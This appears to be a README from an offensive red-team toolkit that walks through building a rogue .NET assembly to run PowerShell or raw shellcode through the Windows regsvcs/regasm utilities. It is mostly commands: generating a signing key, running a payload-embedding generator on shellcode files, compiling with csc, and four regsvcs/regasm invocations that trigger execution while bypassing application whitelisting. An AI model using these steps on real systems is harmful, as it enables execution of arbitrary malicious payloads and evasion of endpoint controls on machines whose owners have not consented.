82 lines
2.8 KiB
Markdown
82 lines
2.8 KiB
Markdown
## Rogue .NET Assembly for Regsvcs/Regasm Code Execution
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Follow below described steps to properly generate your source code and then compile it to a .NET Assembly valid for Regasm/Regsvcs:
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### Step 1: Generate key.snk file
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```
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powershell -file build.ps1
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```
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### Step 2: Generate source code file
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Included in this directory script is a helper utility allowing one to quickly generate desired csharp source code file to be used for further `csc` compilation.
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Usage:
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```
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python3 generateRegsvcs.py --help
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:: Regsvcs Code Execution Source code generation utility
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To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm.
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Mariusz B. / mgeeky, <mb@binary-offensive.com>
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usage: .\generateRegsvcs.py [options] <inputFile>
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positional arguments:
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inputFile Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.
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optional arguments:
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-h, --help show this help message and exit
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-e, --exe Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!
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-r, --raw Specified input file is a raw Shellcode to be injected in self process in a separate Thread.
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```
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Sample use case:
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```
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python3 generateRegsvcs.py -r notepad64.bin > program.cs
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:: Regsvcs Code Execution Source code generation utility
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To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm.
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Mariusz B. / mgeeky, <mb@binary-offensive.com>
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[?] File specified as raw Shellcode.
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```
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```
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python3 generateRegsvcs.py -r payload.bin > program.cs
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```
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### Step 3: Compilate library .NET Assembly
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```
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk program.cs
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```
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If you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script). Then proper compilation command will be:
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```
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%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:regsvcs.dll /keyfile:key.snk program.cs
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```
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### Step 4: Code execution via Regsvcs or Regasm:
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```
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
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```
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or
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```
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
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```
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or
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```
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll
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```
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or
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```
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll
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```
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